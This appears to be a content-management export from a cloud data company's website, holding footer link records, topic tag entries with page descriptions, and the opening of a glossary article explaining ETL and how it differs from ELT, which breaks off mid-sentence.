matrix"},{"_key":"c90dad093e04","_type":"link","internalLink":{"_ref":"c68abf7c-f7d2-45a5-8fdd-5c1472be1a6f","_type":"reference"},"title":"DSA Point of Contact"}],"order":7,"title":"Terms \u0026 Policies"} {"__i18n_base":{"_ref":"305296c7-9bd9-4437-a0d7-7f2ecb1db071","_type":"reference"},"__i18n_lang":"fr","_createdAt":"2022-06-03T12:31:45Z","_id":"305296c7-9bd9-4437-a0d7-7f2ecb1db071__i18n_fr","_rev":"T130WEs22RB6SoEkOEXn1Q","_type":"footer","_updatedAt":"2024-11-20T08:05:11Z","id":"terms-policies","links":[{"_key":"b934b392de26","_type":"link","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"},"title":"Terms of services"},{"_key":"9a82ee9cc835","_type":"link","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"},"title":"SLA"},{"_key":"67ff2d4c1efa","_type":"link","internalLink":{"_ref":"c6a6bde8-7a3d-42b2-aec7-b89f7feeb2bd","_type":"reference"},"title":"Data processing agreement"},{"_key":"dfabb93e3744","_type":"link","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"},"title":"Privacy policy"},{"_key":"b7a5497a35bb","_type":"link","internalLink":{"_ref":"16319f9c-a9fd-40b6-a142-55abea8fb589","_type":"reference"},"title":"Cookie policy"},{"_key":"8f3de418c94c","_type":"link","internalLink":{"_ref":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_type":"reference"},"title":"Subprocessors \u0026 subcontractors"},{"_key":"f1167d34accf","_type":"link","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"},"title":"Responsibility matrix"},{"_key":"c90dad093e04","_type":"link","internalLink":{"_ref":"c68abf7c-f7d2-45a5-8fdd-5c1472be1a6f","_type":"reference"},"title":"DSA Point of Contact"}],"order":7,"title":"Terms \u0026 Policies"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"de","_ref":"305296c7-9bd9-4437-a0d7-7f2ecb1db071__i18n_de","_type":"reference"},{"_key":"fr","_ref":"305296c7-9bd9-4437-a0d7-7f2ecb1db071__i18n_fr","_type":"reference"}],"_createdAt":"2022-06-03T12:31:45Z","_id":"305296c7-9bd9-4437-a0d7-7f2ecb1db071","_rev":"yryarpLFwOAxYGs4JK3AlT","_type":"footer","_updatedAt":"2024-11-21T13:10:25Z","id":"terms-policies","links":[{"_key":"b934b392de26","_type":"link","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"},"title":"Terms"},{"_key":"9a82ee9cc835","_type":"link","internalLink":{"_ref":"ef2b25b2-d677-46f7-9d13-288f493a0629","_type":"reference"},"title":"SLA"},{"_key":"67ff2d4c1efa","_type":"link","internalLink":{"_ref":"c6a6bde8-7a3d-42b2-aec7-b89f7feeb2bd","_type":"reference"},"title":"Data processing"},{"_key":"dfabb93e3744","_type":"link","internalLink":{"_ref":"e0c3ba03-765a-4d8c-bebb-90619d512ee5","_type":"reference"},"title":"Privacy"},{"_key":"b7a5497a35bb","_type":"link","internalLink":{"_ref":"16319f9c-a9fd-40b6-a142-55abea8fb589","_type":"reference"},"title":"Cookie policy"},{"_key":"8f3de418c94c","_type":"link","internalLink":{"_ref":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_type":"reference"},"title":"Subprocessors"},{"_key":"f1167d34accf","_type":"link","internalLink":{"_ref":"97422fba-5006-46b6-9389-f8d782b04bd5","_type":"reference"},"title":"Responsibility matrix"},{"_key":"c90dad093e04","_type":"link","internalLink":{"_ref":"c68abf7c-f7d2-45a5-8fdd-5c1472be1a6f","_type":"reference"},"title":"DSA contact"},{"_key":"dd254f4ed1202243b430a012c2dfd04b","_type":"link","internalLink":{"_ref":"0fb13a4b-e541-40c6-af0b-c03c3a71aee7","_type":"reference"},"title":"Modern Slavery Statement"},{"_key":"15e5758df071","_type":"link","externalUrl":"https://aiven.io/privacy/california?m=opt-out","title":"Do not sell or share my personal information"}],"order":7,"title":"Terms \u0026 Policies"} {"_createdAt":"2024-04-12T12:13:50Z","_id":"8d0581a1-a107-42b7-8ce8-913c5d1c57dd","_rev":"x92MZWXNiN5YFkwWmtdpBB","_type":"genericTag","_updatedAt":"2024-04-12T12:13:50Z","group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"slug":{"_type":"slug","current":"dragonfly"},"title":{"_type":"localeString","en":"Dragonfly"}} {"_createdAt":"2023-03-17T15:17:29Z","_id":"dd821fe1-9ab8-4b36-9fb6-7d9debe508c0","_rev":"RksXZeZKLvjmDTh0107TnG","_type":"genericTag","_updatedAt":"2023-03-17T15:37:47Z","group":{"_ref":"7072a52f-1a7c-4242-a19c-601a6d8de618","_type":"reference"},"slug":{"_type":"slug","current":"demo"},"title":{"_type":"localeString","en":"Demo"}} {"_createdAt":"2023-03-17T15:16:27Z","_id":"d0c7bf3b-528b-4883-ab1c-27409f645959","_rev":"RksXZeZKLvjmDTh0107qr0","_type":"genericTag","_updatedAt":"2023-03-17T15:38:38Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"event-streaming"},"title":{"_type":"localeString","en":"Event streaming"}} {"_createdAt":"2023-03-17T15:16:00Z","_id":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_rev":"RksXZeZKLvjmDTh0107wLD","_type":"genericTag","_updatedAt":"2023-03-17T15:38:54Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"open-source"},"title":{"_type":"localeString","en":"Open source"}} {"_createdAt":"2023-03-17T15:15:12Z","_id":"5e22b8bd-9aba-4abc-84fe-60a512231fd9","_rev":"RksXZeZKLvjmDTh0108Bcd","_type":"genericTag","_updatedAt":"2023-03-17T15:39:44Z","group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"m3"},"title":{"_type":"localeString","en":"M3"}} {"_createdAt":"2023-04-14T09:30:06Z","_id":"29ac1f18-a883-4795-be2c-db6bdec86ace","_rev":"ULcVtA1fOCO5xNRu1cubFD","_type":"genericTag","_updatedAt":"2023-04-14T09:30:06Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"roi"},"title":{"_type":"localeString","en":"ROI"}} {"_createdAt":"2023-05-10T10:34:53Z","_id":"7333c82f-1b90-44a0-b6dc-8a4cd4fa5387","_rev":"QpIjbIkE1ssA0KivVo6arU","_type":"genericTag","_updatedAt":"2023-05-10T10:34:53Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"devops"},"title":{"_type":"localeString","en":"DevOps"}} {"_createdAt":"2023-05-31T08:24:31Z","_id":"74fb3012-db48-4619-8eae-6655740e61c2","_rev":"wZSzbSM833LJeYC8qMiRGb","_type":"genericTag","_updatedAt":"2023-06-02T11:37:03Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"byoc"},"title":{"_type":"localeString","en":"BYOC"}} {"_createdAt":"2023-03-17T15:52:08Z","_id":"3314b5d5-e0fa-4c8e-9f6e-a7564aa5c632","_rev":"61hKAW7KknaTboWXTHpTFx","_type":"genericTag","_updatedAt":"2023-09-01T12:30:43Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to get ClickHouse® data into the Metabase Business Intelligence tool and much more | Simplify your data workflows and visit the Aiven Developer Center"},"group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"data"},"title":{"_type":"localeString","en":"Data"}} {"_createdAt":"2023-03-24T15:45:17Z","_id":"d4e858d3-c34f-479f-b156-3ad83e807091","_rev":"sAH9dIF2hxm5rMZ55QCvwd","_type":"genericTag","_updatedAt":"2023-09-01T12:32:19Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to migrate a MySQL database to a new version or cloud provider and more | Improve your migration workflows and visit the Aiven Developer Center"},"group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"migration"},"title":{"_type":"localeString","en":"Migration"}} {"_createdAt":"2023-03-17T15:11:52Z","_id":"a40792b4-c5eb-4d81-9452-9a4bd322d700","_rev":"sAH9dIF2hxm5rMZ55QCoPn","_type":"genericTag","_updatedAt":"2023-09-01T12:26:45Z","devCenterMetaDescription":{"_type":"localeText","en":"Monitor your stack with a number of prebuilt dashboards for many services | Discover the possibilities of Aiven for Grafana® in our Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-6ae9b34c7ca56664b6e217e40c0b3e6948de81d3-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"grafana"},"title":{"_type":"localeString","en":"Grafana®"}} {"_createdAt":"2023-03-17T15:15:31Z","_id":"84cb2f1d-1db5-4eed-b049-86cc5f2715ef","_rev":"sAH9dIF2hxm5rMZ55QCopj","_type":"genericTag","_updatedAt":"2023-09-01T12:27:08Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to safely migrate a MySQL® database to a new cloud provider and much more | Discover the possibilities of MySQL® in the Aiven Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-8443a7ce7f5ba06083c450ba0cce89a7151849b4-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"mysql"},"title":{"_type":"localeString","en":"MySQL"}} {"_createdAt":"2024-10-08T10:55:53Z","_id":"39fd5db7-c38d-4c87-8ce2-408bd8a79253","_rev":"jvX45fVrMTONcXvY1j6rk8","_type":"genericTag","_updatedAt":"2024-10-08T10:55:53Z","group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-8371936a7906a98fd63ae43361a9157a4a1498e5-48x48-svg","_type":"reference"}},"slug":{"_type":"slug","current":"alloydb-omni"},"title":{"_type":"localeString","en":"AlloyDB Omni"}} {"_createdAt":"2024-05-13T06:56:57Z","_id":"86a640f2-259e-47d5-81c5-df4f55a1fac8","_rev":"qnoh2pCVRlOXH0AEWBlG49","_type":"genericTag","_updatedAt":"2024-05-13T06:56:57Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"retail"},"title":{"_type":"localeString","en":"Retail"}} {"_createdAt":"2023-03-17T15:16:15Z","_id":"010c153e-6cdd-435a-ac5a-7800b7380103","_rev":"61hKAW7KknaTboWXTHpW8v","_type":"genericTag","_updatedAt":"2023-09-01T12:31:47Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to retroactively manage your data platforms with Terraform and more | Simplify your workflows and visit the Aiven Developer Center"},"group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"cloud-data-platform"},"title":{"_type":"localeString","en":"Cloud data platform"}} {"_createdAt":"2023-10-26T10:17:52Z","_id":"01148eca-64e7-46ba-a597-5df3e2a441b0","_rev":"8gUM21kCR6Z8GhVq7iEYrO","_type":"genericTag","_updatedAt":"2023-10-26T10:17:52Z","group":{"_ref":"69c2330a-fcfc-44bd-8072-4cc813b27988","_type":"reference"},"slug":{"_type":"slug","current":"developer"},"title":{"_type":"localeString","en":"Developer"}} {"_createdAt":"2023-03-17T15:13:37Z","_id":"170e8cc3-b016-45ee-a9db-efec32d13a04","_rev":"TiQ1DjjwIo5pwieuMREb4z","_type":"genericTag","_updatedAt":"2023-09-01T12:25:58Z","devCenterMetaDescription":{"_type":"localeText","en":"Add caching to your PostgreSQL® app | Make a Kubernetes-friendly Java app and more | Discover the possibilities of Redis® in the Aiven Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-c49aa024b64012920f36be76dce8581e6a340388-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"redis"},"title":{"_type":"localeString","en":"Redis®"}} {"_createdAt":"2023-03-17T15:11:04Z","_id":"17773fab-43cf-4f70-873a-8da1274cde0f","_rev":"sAH9dIF2hxm5rMZ55QCrrl","_type":"genericTag","_updatedAt":"2023-09-01T12:29:19Z","devCenterMetaDescription":{"_type":"localeText","en":"Implement OpenSearch® to analyse the data coming from Mastodon and more | Discover all its possibilities in the Aiven Developer Center and simplify your work"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"opensearch"},"title":{"_type":"localeString","en":"OpenSearch®"}} {"_createdAt":"2023-03-24T14:58:48Z","_id":"21dab0f5-92ff-47e2-8b55-f60a736d22b9","_rev":"TiQ1DjjwIo5pwieuMREp5t","_type":"genericTag","_updatedAt":"2023-09-01T12:31:20Z","devCenterMetaDescription":{"_type":"localeText","en":"Take your first steps with the Aiven API and Postman by reading our comprehensive step-by-step guide | Simplify your workflows today"},"group":{"_ref":"c331a257-7308-4fcc-9596-6e1f73ea4401","_type":"reference"},"slug":{"_type":"slug","current":"aiven-api"},"title":{"_type":"localeString","en":"Aiven API"}} {"_createdAt":"2024-04-30T13:38:32Z","_id":"2d571168-1d6e-4f13-bbff-c084f310b3c9","_rev":"lI1OMJNS7f9WP80VhdlIcu","_type":"genericTag","_updatedAt":"2024-04-30T13:38:32Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"esg"},"title":{"_type":"localeString","en":"ESG"}} {"_createdAt":"2023-03-24T14:55:36Z","_id":"6496a8e4-6fbe-43d6-b945-f2505fd3b34a","_rev":"61hKAW7KknaTboWXTHpWbB","_type":"genericTag","_updatedAt":"2023-09-01T12:32:38Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to use the features of Terraform to your advance | Improve and simplify your workflows | Find out more in the Aiven Developer Center"},"group":{"_ref":"c331a257-7308-4fcc-9596-6e1f73ea4401","_type":"reference"},"slug":{"_type":"slug","current":"terraform"},"title":{"_type":"localeString","en":"Terraform"}} {"_createdAt":"2024-02-15T15:03:32Z","_id":"38383182-1206-4b02-8aee-37da4e24f936","_rev":"VG7d2o4nr7oZbH2jN3uQ6D","_type":"genericTag","_updatedAt":"2024-02-15T15:03:32Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"ai"},"title":{"_type":"localeString","en":"AI"}} {"_createdAt":"2023-03-17T15:09:44Z","_id":"3c547914-626c-4ae5-8d0c-a0400bcc5e7f","_rev":"61hKAW7KknaTboWXTHpBi1","_type":"genericTag","_updatedAt":"2023-09-01T12:28:54Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to retroactively manage your data platforms with Terraform and much more | Discover the possibilities of Apache Kafka® in the Aiven Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-184cb33e057478405636d30b72f56c94f88ca103-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"kafka"},"title":{"_type":"localeString","en":"Apache Kafka®"}} {"_createdAt":"2023-04-14T09:38:54Z","_id":"525f6516-2adf-4f0d-aab6-35835bd07e46","_rev":"sAH9dIF2hxm5rMZ55QCwsz","_type":"genericTag","_updatedAt":"2023-09-01T12:33:14Z","devCenterMetaDescription":{"_type":"localeText","en":"Find out how you can use machine learning to simplify your workflows as a developer | Read more about it in the Aiven Developer Center"},"group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"machine-learning"},"title":{"_type":"localeString","en":"Machine learning"}} {"_createdAt":"2024-04-23T16:20:54Z","_id":"549c79c6-5fa3-46c6-9f90-a0255825ddab","_rev":"q2CXUSu3BRlxCt1GEQu5n6","_type":"genericTag","_updatedAt":"2024-04-23T16:23:48Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"sustainability"},"title":{"_type":"localeString","en":"Sustainability"}} {"_createdAt":"2023-03-17T15:14:48Z","_id":"665d1689-e4a5-43d5-bfbe-a673d66b1a41","_rev":"sAH9dIF2hxm5rMZ55QCr58","_type":"genericTag","_updatedAt":"2023-09-01T12:28:28Z","devCenterMetaDescription":{"_type":"localeText","en":"Move from batch processing to streaming while using SQL in the data pipeline | Discover the possibilities of Apache Flink® in the Aiven Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-c96d109662fa0afd283a3ce7fbd1af8a8005f682-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"flink"},"title":{"_type":"localeString","en":"Apache Flink®"}} {"_createdAt":"2024-02-19T08:59:22Z","_id":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_rev":"7MT6syZ9CYN9k42dvA3knK","_type":"genericTag","_updatedAt":"2024-02-19T08:59:57Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"performance-optimization"},"title":{"_type":"localeString","en":"Performance optimization"}} {"_createdAt":"2023-03-17T15:17:04Z","_id":"6e718308-0932-4545-b8c2-c9df3013ec4e","_rev":"61hKAW7KknaTboWXTHpUTJ","_type":"genericTag","_updatedAt":"2023-09-01T12:31:09Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to perform image recognition with Python, OpenCV, OpenAI CLIP, pgvector and more | Simplify your workflow with the Aiven guides for developers "},"group":{"_ref":"7072a52f-1a7c-4242-a19c-601a6d8de618","_type":"reference"},"slug":{"_type":"slug","current":"guide"},"title":{"_type":"localeString","en":"Guide"}} {"_createdAt":"2023-09-18T08:36:38Z","_id":"78503d0a-beea-4f7f-ab11-c2b8fffadb7b","_rev":"kCpVRB4k8RYeMqmK0Bru7H","_type":"genericTag","_updatedAt":"2023-09-18T08:36:38Z","group":{"_ref":"46da8d22-2d97-4b68-aad5-2bb502036e9f","_type":"reference"},"slug":{"_type":"slug","current":"hashicorp"},"title":{"_type":"localeString","en":"HashiCorp"}} {"_createdAt":"2023-07-18T09:51:20Z","_id":"7f1cc870-dac8-4021-b5e0-0067d7aa5d95","_rev":"VinCkhZ0l3Y2mmoeY7JCFb","_type":"genericTag","_updatedAt":"2023-07-18T09:53:16Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"cost-optimization"},"title":{"_type":"localeString","en":"Cost optimization"}} {"_createdAt":"2023-03-17T15:17:40Z","_id":"88d61a12-59e1-4532-a812-c2da586315f2","_rev":"61hKAW7KknaTboWXTHpF7x","_type":"genericTag","_updatedAt":"2023-09-01T12:29:49Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to let your data flow with the Apache Kafka®️ HTTP sink connector and much more | Discover various Aiven tutorials to simplify your work "},"group":{"_ref":"7072a52f-1a7c-4242-a19c-601a6d8de618","_type":"reference"},"slug":{"_type":"slug","current":"tutorial"},"title":{"_type":"localeString","en":"Tutorial"}} {"_createdAt":"2023-03-17T15:13:59Z","_id":"93c20c71-9946-4b71-8994-1d7f14da79a8","_rev":"RksXZeZKLvjmDTh0108NQj","_type":"genericTag","_updatedAt":"2023-03-17T15:40:07Z","group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"cassandra"},"title":{"_type":"localeString","en":"Apache Cassandra®"}} {"_createdAt":"2023-03-17T15:11:32Z","_id":"94e23adc-203f-4482-b8df-63aeab555411","_rev":"61hKAW7KknaTboWXTHp9VR","_type":"genericTag","_updatedAt":"2023-09-01T12:27:54Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to get ClickHouse® data into the Metabase Business Intelligence tool and get valuable insights into your data. Read more in the Aiven Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-41bf2f72c0a4c8def391b8bd40463dd894343541-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"clickhouse"},"title":{"_type":"localeString","en":"ClickHouse®"}} {"_createdAt":"2023-03-24T15:56:41Z","_id":"a04702b4-48a1-492f-9600-6bd38971cc2c","_rev":"61hKAW7KknaTboWXTHpTYn","_type":"genericTag","_updatedAt":"2023-09-01T12:30:58Z","devCenterMetaDescription":{"_type":"localeText","en":"Learn how to set up Django and store its data in an Aiven for PostgreSQL® database | Simplify your integration workflows and visit the Aiven Developer Center"},"group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"integration"},"title":{"_type":"localeString","en":"Integration"}} {"_createdAt":"2024-01-29T10:35:27Z","_id":"a41c8115-d5d8-4ee1-a5e0-6d17fdb928ae","_rev":"lhvtNBOlLYH5KiQFQ861jn","_type":"genericTag","_updatedAt":"2024-01-29T10:35:27Z","group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"slug":{"_type":"slug","current":"pgvector"},"title":{"_type":"localeString","en":"pgvector"}} {"_createdAt":"2023-04-14T09:39:13Z","_id":"a8aaad0e-643e-4a82-ac5f-a23492bdff54","_rev":"5XbIyfqcIkGlU3arGcybH8","_type":"genericTag","_updatedAt":"2023-04-14T09:39:13Z","group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"real-time-analytics"},"title":{"_type":"localeString","en":"Real-time analytics"}} {"_createdAt":"2024-07-11T14:41:19Z","_id":"d066802f-72f8-49bf-93a7-3c4196a99892","_rev":"ejVwHgKe5k9eDWbchvTgIz","_type":"genericTag","_updatedAt":"2024-07-12T10:40:42Z","group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-f997cab5874d12c680040053b0a516337323f549-48x48-svg","_type":"reference"}},"slug":{"_type":"slug","current":"valkey"},"title":{"_type":"localeString","de":"Valkey","en":"Valkey","fr":"Valkey"}} {"_createdAt":"2023-09-18T08:35:02Z","_id":"d95083d7-de5c-4ef4-a726-cd98672ba4b1","_rev":"kCpVRB4k8RYeMqmK0Brs5S","_type":"genericTag","_updatedAt":"2023-09-18T08:35:02Z","group":{"_ref":"46da8d22-2d97-4b68-aad5-2bb502036e9f","_type":"reference"},"slug":{"_type":"slug","current":"netlify"},"title":{"_type":"localeString","en":"Netlify"}} {"_createdAt":"2023-03-17T15:17:18Z","_id":"f4f65cc5-e2cc-43c3-846d-e012dd431ee9","_rev":"TiQ1DjjwIo5pwieuMREqsb","_type":"genericTag","_updatedAt":"2023-09-01T12:33:00Z","devCenterMetaDescription":{"_type":"localeText","en":"Cheat sheet for the PostgreSQL® JSONB functions | With examples of the most common JSONB (and JSON) functions and operators | Visit the Aiven Developer Center"},"group":{"_ref":"7072a52f-1a7c-4242-a19c-601a6d8de618","_type":"reference"},"slug":{"_type":"slug","current":"cheat-sheet"},"title":{"_type":"localeString","en":"Cheat sheet"}} {"_createdAt":"2023-10-04T11:49:35Z","_id":"f51c71a3-c228-4f3a-b57b-12c3b1c7fc73","_rev":"UviFzP5GFpfXiVTG9nZIkY","_type":"genericTag","_updatedAt":"2023-10-04T11:50:08Z","group":{"_ref":"46da8d22-2d97-4b68-aad5-2bb502036e9f","_type":"reference"},"slug":{"_type":"slug","current":"aws"},"title":{"_type":"localeString","en":"AWS"}} {"_createdAt":"2023-03-24T15:33:46Z","_id":"fa0b1639-9dee-4ebb-b11d-604f485dfc6e","_rev":"61hKAW7KknaTboWXTHpVXF","_type":"genericTag","_updatedAt":"2023-09-01T12:31:32Z","devCenterMetaDescription":{"_type":"localeText","en":"Set up dynamic credentials for your PostgreSQL® database with Hashicorp Vault | Improve the security of your workflows and visit the Aiven Developer Center"},"group":{"_ref":"34e9eaee-1cdf-47ec-bc18-6d1788429763","_type":"reference"},"slug":{"_type":"slug","current":"security"},"title":{"_type":"localeString","en":"Security"}} {"_createdAt":"2023-09-18T08:36:01Z","_id":"fb5ec822-b1c7-4454-acf5-62b026fb47ec","_rev":"A2l0xGIDux4HKnJ2ZgOFOp","_type":"genericTag","_updatedAt":"2023-09-18T08:36:01Z","group":{"_ref":"46da8d22-2d97-4b68-aad5-2bb502036e9f","_type":"reference"},"slug":{"_type":"slug","current":"gcp"},"title":{"_type":"localeString","en":"GCP"}} {"_createdAt":"2023-03-17T15:10:31Z","_id":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_rev":"tVsvU5cy3KqqbnxT6ULIpL","_type":"genericTag","_updatedAt":"2024-08-23T10:37:59Z","devCenterMetaDescription":{"_type":"localeText","en":"Validate data as it goes into your databases to improve its quality and much more | Discover the possibilities of PostgreSQL® in the Aiven Developer Center"},"group":{"_ref":"3340199e-976d-4da1-86fa-add893be0f5a","_type":"reference"},"icon":{"_type":"mainImage","asset":{"_ref":"image-1e41c5eca58a19a523cfc3597c6ff0f3baf71ea4-64x64-svg","_type":"reference"}},"slug":{"_type":"slug","current":"postgresql"},"title":{"_type":"localeString","en":"PostgreSQL®"}} {"__i18n_lang":"en","_createdAt":"2024-09-02T13:07:16Z","_id":"60c404f9-17da-4f5e-bd44-a8d5e4ce7c86","_rev":"AE3hjGWNkNE6aGQMMbfEYP","_type":"glossaryArticle","_updatedAt":"2024-09-06T07:20:18Z","body":"In the dynamic landscape of data management, ETL represents a fundamental process, acting as the conduit through which raw data is extracted from a source, transformed to be useable in other datastores or applications, and loaded into a destination. In this post, we’ll focus on exploring the meaning of ETL, the challenges it represents, how different areas benefit from it and how Aiven can help you elevate your data game. \n\n## What Does ETL Stand for? (Definition)\n\nETL stands for **Extract, Transform, Load**. It is a process used in data integration to collect data from various sources, transform it into a suitable format, and load it into a target database, data lake, lakehouse, or data warehouse. \n\n## ETL Process Explained\n\nHere's what each step of the ETL process entails:\n\n1. **Extract**: In this step, data is extracted from different sources such as databases, files, applications, APIs, web services, and more. Various techniques can be used for extraction, including full extraction (where all data is retrieved from the source), incremental extraction (only new or modified data since the last extraction is retrieved), and [real-time extraction](https://aiven.io/blog/why-you-should-think-about-moving-analytics-from-batch-to-real-time) (data is extracted continuously as it becomes available).Extracting data allows organizations to gather information from disparate sources, including transactional systems, operational databases, CRM systems, ERP systems, spreadsheets, social media platforms, and more.\n\n2. **Transform**: Once the data is extracted, it undergoes a transformation processes to make it suitable for analysis or loading into the target system. Transformations may include data cleansing (removing duplicates, correcting errors), data validation, data enrichment (adding derived data or calculated fields), data aggregation (summarizing data), and data normalization (standardizing formats and units). This phase is critical for ensuring that the data is accurate, consistent, and formatted correctly. \n\n3. **Load**: After the data is transformed, it is loaded into the target database, data warehouse, or data lake. This phase of the ETL process involves inserting the transformed data into the destination tables or files while ensuring data integrity and maintaining performance. Loading data efficiently and accurately ensures that organizations have access to up-to-date and reliable information for their business operations, analytics, and other uses.\n\n\n## Why Is ETL Important?\n\nThere are several reasons why ETL is crucial for organizations. \n\n- **Data Integration**: ETL allows organizations to integrate data from multiple sources, including databases, applications, and files, into a unified format. This enables a comprehensive view of the data across the organization.\n\n- **Data Quality**: Through the transformation phase, ETL processes cleanse and standardize data, improving its quality and consistency. This ensures that decision-makers are working with accurate and reliable information.\n\n- **Business Intelligence**: ETL plays a crucial role in supporting business intelligence and analytics initiatives. By preparing data for analysis, it enables you to derive valuable insights and make data-driven decisions.\n\n- **Operational Efficiency**: By automating the extraction, transformation, and loading of data, ETL processes streamline data management tasks, reducing manual effort and improving operational efficiency.\n\n- **Data Warehousing and Data Lakes**: ETL is essential for populating and maintaining data warehouses and data lakes, which serve as central repositories for historical and current data. These datastores contain a single source of truth for reporting, querying, and data analysis across your company.\n\n- **Regulatory Compliance**: ETL processes help your organization to comply with data privacy regulations and standards by ensuring that sensitive data is handled securely and in accordance with legal requirements.\n\n\n## ETL vs. ELT\n\nETL (Extract, Transform, Load) and ELT (Extract, Load, Transform) are both data integration processes, however, there are some differences. \n\n1. **Sequence of Phases**:\n - **ETL:** In ETL, data is first extracted from the source systems, then transformed according to business rules and requirements, and finally loaded into the target system (such as a data warehouse).\n - **ELT:** Data is extracted from the source systems and loaded into the target system as-is. Transformation occurs within the target system, often using the processing power and capabilities of modern data warehouses or data lakes, and the transformed data is reloaded into the target system.\n\n2. **Approach to Data Processing**:\n - **ETL:** ETL focuses on transforming data before loading it into the target system. This approach is suitable for scenarios where data needs to be cleansed, standardized, and aggregated before storage.\n - **ELT:** When it comes to ELT, raw data is first loaded into the target system and then, transformations within the target system are performed. This approach leverages the scalability and processing capabilities of modern cloud-based data platforms and most often enables users to access either the original raw data or the transformed data.\n\n3. **Traditional vs. Cloud Environments**:\n - **ETL:** ETL has been the traditional approach to data integration, especially in on-premises environments, where data transformation often requires significant computational resources and specialized infrastructure.\n - **ELT:** ELT has gained popularity in cloud environments due to the scalability and 